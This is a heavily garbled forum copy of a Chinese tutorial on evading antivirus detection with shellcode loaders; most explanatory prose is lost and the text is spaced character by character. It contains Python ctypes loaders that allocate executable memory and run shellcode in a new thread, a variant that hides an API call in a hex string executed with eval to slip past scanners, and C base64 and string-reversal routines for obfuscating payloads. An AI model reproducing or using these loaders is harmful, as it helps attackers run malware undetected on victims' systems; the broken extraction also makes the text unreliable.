[19698] 2020-12-23_Shellcode免杀基础教程

文档创建者:s7ckTeam
浏览次数:1
最后更新:2025-01-18
2020-12-23_Shellcode免杀基础教程 S h e l l c o d e i   2 0 2 0 - 1 2 - 2 3   i   A v i c S h e l l c o d e S h e l l c o d e P y t h o n s h e l l c o d e
c t y p e s s h e l l c o d e h e x M S F C s 使 使 c t y p e s w i n d o w s d l l K e r n e l 3 2 使 V i r t u a l A l l o c 使 R t l M o v e M e m o r y s h e l l c o d e 使 C r e a t e T h r e a d 线 使 W a i t F o r S i n g l e O b j e c t K e r n e l 3 2 . d l l S h e l l c o d e S h e l l c o d e 使 w i n d o w s i m p o r t   c t y p e s s h e l l c o d e   =   " " " " " " p t r   =   c t y p e s . w i n d l l . k e r n e l 3 2 . V i r t u a l A l l o c ( c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( l e n ( s h e l l c o d e ) ) , c t y p e s . c _ i n t ( 0 x 3 0 0 0 b u f   =   ( c t y p e s . c _ c h a r   *   l e n ( s h e l l c o d e ) ) . f r o m _ b u f f e r ( s h e l l c o d e ) c t y p e s . w i n d l l . k e r n e l 3 2 . R t l M o v e M e m o r y ( c t y p e s . c _ i n t ( p t r ) ,   b u f ,   c t y p e s . c _ i n t ( l e n ( s h e l l c o d e ) ) ) h t = c t y p e s . w i n d l l . k e r n e l 3 2 . C r e a t e T h r e a d ( c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( p t r ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( c t y p e s . w i n d l l . k e r n e l 3 2 . W a i t F o r S i n g l e O b j e c t ( c t y p e s . c _ i n t ( h t ) , c t y p e s . c _ i n t ( - 1 ) )
s h e l l c o d e s h e l l c o d e s h e l l c o d e
V i r t u a l A l l o c   R t l M o v e M e m o r y   C r e a t e T h r e a d   W a i t F o r S i n g l e O b j e c t 使 P y t h o n M S F
使 K 8 s h e l l c o d e
H E x S h e l l c o d e s h e l l c o d e S h e l l c o d e 线 线 P y t h o n   R u b y E X E C G O C + +
V T 3 6 0 3 6 0 P y t h o n 使 h e x 3 6 0 e v a l 3 6 0 F U z z c t y p e s . w i n d l l . k e r n e l 3 2 . R t l M o v e M e m o r y ( c t y p e s . c _ i n t ( p t r ) ,   b u f ,   c t y p e s . c _ i n t ( l e n ( s h e l l c o d e ) ) ) e x e 3 6 0 使 V T 8 使 M a s s c a n i m p o r t   c t y p e s a   =   " s h e l l c o d e " s h e l l c o d e = b y t e a r r a y ( a . d e c o d e ( " h e x " ) ) p t r   =   c t y p e s . w i n d l l . k e r n e l 3 2 . V i r t u a l A l l o c ( c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( l e n ( s h e l l c o d e ) ) , c t y p e s . c _ i n t ( 0 x 3 0 0 0 ) , c t y p e s . c _ i n t ( 0 x 4 0 ) ) b u f   =   ( c t y p e s . c _ c h a r   *   l e n ( s h e l l c o d e ) ) . f r o m _ b u f f e r ( s h e l l c o d e ) s h e l l   =   " 6 3 7 4 7 9 7 0 6 5 7 3 2 e 7 7 6 9 6 e 6 4 6 c 6 c 2 e 6 b 6 5 7 2 6 e 6 5 6 c 3 3 3 2 2 e 5 2 7 4 6 c 4 d 6 f 7 6 6 5 4 d 6 5 6 d 6 f 7 2 7 9 2 8 6 3 7 4 7 9 7 0 6 5 7 3 2 e 6 3 5 f 6 9 6 e 7 4 2 8 7 0 7 4 7 2 2 9 2 e v a l ( s h e l l . d e c o d e ( " h e x " ) ) h t   =   c t y p e s . w i n d l l . k e r n e l 3 2 . C r e a t e T h r e a d ( c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( p t r ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . c _ i n t ( 0 ) , c t y p e s . p o i n t e r ( c t y p e s . c _ i n t ( 0 ) ) ) c t y p e s . w i n d l l . k e r n e l 3 2 . W a i t F o r S i n g l e O b j e c t ( c t y p e s . c _ i n t ( h t ) , c t y p e s . c _ i n t ( - 1 ) )
M a s s c a n S h e l l c o d e g i t h u b C v s 2 0 1 9 西 b a s e 6 4 c o d e c o d e K
s t a t i c   c o n s t   u n s i g n e d   c h a r   p r 2 s i x [ 2 5 6 ]   = {         / *   A S C I I   t a b l e   * /         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 2 ,   6 4 ,   6 4 ,   6 4 ,   6 3 ,         5 2 ,   5 3 ,   5 4 ,   5 5 ,   5 6 ,   5 7 ,   5 8 ,   5 9 ,   6 0 ,   6 1 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   0 ,   1 ,   2 ,   3 ,   4 ,   5 ,   6 ,   7 ,   8 ,   9 ,   1 0 ,   1 1 ,   1 2 ,   1 3 ,   1 4 ,         1 5 ,   1 6 ,   1 7 ,   1 8 ,   1 9 ,   2 0 ,   2 1 ,   2 2 ,   2 3 ,   2 4 ,   2 5 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   2 6 ,   2 7 ,   2 8 ,   2 9 ,   3 0 ,   3 1 ,   3 2 ,   3 3 ,   3 4 ,   3 5 ,   3 6 ,   3 7 ,   3 8 ,   3 9 ,   4 0 ,         4 1 ,   4 2 ,   4 3 ,   4 4 ,   4 5 ,   4 6 ,   4 7 ,   4 8 ,   4 9 ,   5 0 ,   5 1 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,         6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 ,   6 4 } ; i n t   B a s e 6 4 d e c o d e _ l e n ( c o n s t   c h a r *   b u f c o d e d ) {         i n t   n b y t e s d e c o d e d ;         r e g i s t e r   c o n s t   u n s i g n e d   c h a r *   b u f i n ;         r e g i s t e r   i n t   n p r b y t e s ;         b u f i n   =   ( c o n s t   u n s i g n e d   c h a r * ) b u f c o d e d ;         w h i l e   ( p r 2 s i x [ * ( b u f i n + + ) ]   < =   6 3 ) ;         n p r b y t e s   =   ( b u f i n   -   ( c o n s t   u n s i g n e d   c h a r * ) b u f c o d e d )   -   1 ;         n b y t e s d e c o d e d   =   ( ( n p r b y t e s   +   3 )   /   4 )   *   3 ;         r e t u r n   n b y t e s d e c o d e d   +   1 ; } i n t   B a s e 6 4 d e c o d e ( c h a r *   b u f p l a i n ,   c o n s t   c h a r *   b u f c o d e d ) {         i n t   n b y t e s d e c o d e d ;         r e g i s t e r   c o n s t   u n s i g n e d   c h a r *   b u f i n ;         r e g i s t e r   u n s i g n e d   c h a r *   b u f o u t ;         r e g i s t e r   i n t   n p r b y t e s ;         b u f i n   =   ( c o n s t   u n s i g n e d   c h a r * ) b u f c o d e d ;         w h i l e   ( p r 2 s i x [ * ( b u f i n + + ) ]   < =   6 3 ) ;         n p r b y t e s   =   ( b u f i n   -   ( c o n s t   u n s i g n e d   c h a r * ) b u f c o d e d )   -   1 ;         n b y t e s d e c o d e d   =   ( ( n p r b y t e s   +   3 )   /   4 )   *   3 ;         b u f o u t   =   ( u n s i g n e d   c h a r * ) b u f p l a i n ;         b u f i n   =   ( c o n s t   u n s i g n e d   c h a r * ) b u f c o d e d ;         w h i l e   ( n p r b y t e s   >   4 )   {                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ * b u f i n ]   < <   2   |   p r 2 s i x [ b u f i n [ 1 ] ]   > >   4 ) ;                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ b u f i n [ 1 ] ]   < <   4   |   p r 2 s i x [ b u f i n [ 2 ] ]   > >   2 ) ;                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ b u f i n [ 2 ] ]   < <   6   |   p r 2 s i x [ b u f i n [ 3 ] ] ) ;                 b u f i n   + =   4 ;                 n p r b y t e s   - =   4 ;         }         / *   N o t e :   ( n p r b y t e s   = =   1 )   w o u l d   b e   a n   e r r o r ,   s o   j u s t   i n g o r e   t h a t   c a s e   * /         i f   ( n p r b y t e s   >   1 )   {                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ * b u f i n ]   < <   2   |   p r 2 s i x [ b u f i n [ 1 ] ]   > >   4 ) ;         }
        i f   ( n p r b y t e s   >   2 )   {                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ b u f i n [ 1 ] ]   < <   4   |   p r 2 s i x [ b u f i n [ 2 ] ]   > >   2 ) ;         }         i f   ( n p r b y t e s   >   3 )   {                 * ( b u f o u t + + )   =                         ( u n s i g n e d   c h a r ) ( p r 2 s i x [ b u f i n [ 2 ] ]   < <   6   |   p r 2 s i x [ b u f i n [ 3 ] ] ) ;         }         * ( b u f o u t + + )   =   ' 0 ' ;         n b y t e s d e c o d e d   - =   ( 4   -   n p r b y t e s )   &   3 ;         r e t u r n   n b y t e s d e c o d e d ; } s t a t i c   c o n s t   c h a r   b a s i s _ 6 4 [ ]   = " A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z 0 1 2 3 4 5 6 7 8 9 + / " ; i n t   B a s e 6 4 e n c o d e _ l e n ( i n t   l e n ) {         r e t u r n   ( ( l e n   +   2 )   /   3   *   4 )   +   1 ; } i n t   B a s e 6 4 e n c o d e ( c h a r *   e n c o d e d ,   c o n s t   c h a r *   s t r i n g ,   i n t   l e n ) {         i n t   i ;         c h a r *   p ;         p   =   e n c o d e d ;         f o r   ( i   =   0 ;   i   <   l e n   -   2 ;   i   + =   3 )   {                 * p + +   =   b a s i s _ 6 4 [ ( s t r i n g   > >   2 )   &   0 x 3 F ] ;                 * p + +   =   b a s i s _ 6 4 [ ( ( s t r i n g   &   0 x 3 )   < <   4 )   |                         ( ( i n t ) ( s t r i n g [ i   +   1 ]   &   0 x F 0 )   > >   4 ) ] ;                 * p + +   =   b a s i s _ 6 4 [ ( ( s t r i n g [ i   +   1 ]   &   0 x F )   < <   2 )   |                         ( ( i n t ) ( s t r i n g [ i   +   2 ]   &   0 x C 0 )   > >   6 ) ] ;                 * p + +   =   b a s i s _ 6 4 [ s t r i n g [ i   +   2 ]   &   0 x 3 F ] ;         }         i f   ( i   <   l e n )   {                 * p + +   =   b a s i s _ 6 4 [ ( s t r i n g   > >   2 )   &   0 x 3 F ] ;                 i f   ( i   = =   ( l e n   -   1 ) )   {                         * p + +   =   b a s i s _ 6 4 [ ( ( s t r i n g   &   0 x 3 )   < <   4 ) ] ;                         / /   * p + +   =   ' = ' ;                 }                 e l s e   {                         * p + +   =   b a s i s _ 6 4 [ ( ( s t r i n g   &   0 x 3 )   < <   4 )   |                                 ( ( i n t ) ( s t r i n g [ i   +   1 ]   &   0 x F 0 )   > >   4 ) ] ;                         * p + +   =   b a s i s _ 6 4 [ ( ( s t r i n g [ i   +   1 ]   &   0 x F )   < <   2 ) ] ;                 }                 / / * p + +   =   ' = ' ;         }         * p + +   =   ' 0 ' ;         r e t u r n   p   -   e n c o d e d ; } s t r i n g _ c h a n g e ( u n s i g n e d   c h a r *   p )   {         i n t   i ,   l e n ;         c h a r   t e m p ;         l e n   =   s t r l e n ( p ) ;         f o r   ( s i z e _ t   i   =   0 ;   i   <   ( l e n   /   2 ) ;   i + + )         {                 t e m p   =   p [ i ] ;                 p [ i ]   =   p [ l e n   -   1   -   i ] ;                 p [ l e n   -   1   -   i ]   =   t e m p ;         } }
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则